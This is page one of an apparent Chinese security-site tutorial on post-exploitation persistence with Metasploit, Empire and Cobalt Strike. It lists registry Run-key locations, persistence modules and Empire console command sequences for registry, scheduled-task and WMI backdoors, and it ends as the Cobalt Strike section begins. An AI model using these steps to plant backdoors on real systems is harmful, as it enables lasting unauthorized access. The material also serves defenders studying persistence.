欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

三大渗透框架权限维持

来源:本站整理 作者:佚名 时间:2019-10-08 TAG: 我要投稿

在渗透测试中,有三个非常经典的渗透测试框架--Metasploit、Empire、Cobalt Strike。
那么,通过漏洞获取到目标主机权限后,如何利用渗透框架获得持久性权限呢?
0x01 MSF权限维持
使用MSF维持权限的前提是先获得一个meterpreter  shell,通过meterpreter shell获取持久性shell的方法有两种:
Persistence模块
通过启动项启动(persistence)的方式,在目标机器上以反弹回连。

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;  -X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。 -S:作为服务自动启动代理程序(具有SYSTEM权限)
生成的相关文件位置 :
# 后门文件位置:    C:\Windows\Temp    C:\Users\Administrator\AppData\Local\Temp#  注册表位置:     HKCU\Software\Microsoft\Windows\CurrentVersion\Run\    HKLM\Software\Microsoft\Windows\CurrentVersion\Run\

Metsvc 模块
通过服务(metsvc)启动的方式,在目标机器启动后自启动一个服务,等待连接。

目标主机上开启了一个Meterpreter服务。

0x02 Empire 权限维持
Empire的persistence模块提供了18种权限维持的方法,大致可以分为四类,即

elevated(管理权限)
misc(杂项)
powerbreach(内存维持)
userland(用户权限)
registry*
add_netuser
deaduser
backdoor_lnk
schtasks*
add_sid_history*
eventlog*
registry
wmi*
debugger*
resolver
schtasks
wmi_updater*
disable_machine_acct_change*
get_ssps
install_ssp*
memssp*
skeleton_key*
注册表
(Empire: agents) > agents(Empire: agents) > interact URL3FZBV(Empire: URL3FZBV) > usemodule persistence/elevated/registry*(Empire: powershell/persistence/elevated/registry) > set Listener test(Empire: powershell/persistence/elevated/registry) > execute

因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的powershell启动项的框,在注册表位置如下:

计划任务
(Empire: agents) > interact 9NZ2RWBC(Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks*(Empire: powershell/persistence/elevated/schtasks) > set Listener test(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50(Empire: powershell/persistence/elevated/schtasks) > execute

在任务计划程序库可以看到-任务为Updater-启动程序如下可以到为powershell

wmi
(Empire: agents) > interact 9NZ2RWBC(Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi(Empire: powershell/persistence/elevated/wmi) > set Listener test(Empire: powershell/persistence/elevated/wmi) > run

如何清除后门,最简单的方法就是使用Autoruns,选择WMI选项卡,右键就可以删除恶意后门。

0x03 Cobalt Strike权限维持
通过Cobalt Strike拿到一个shell,留后门的方法有很多,下面介绍两种比较常见的无文件、自启动后门。
从Cobalt Strike菜单栏,Attacks--Web Drive-by--Scaripted Web Delivery,生成powershell后门。

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载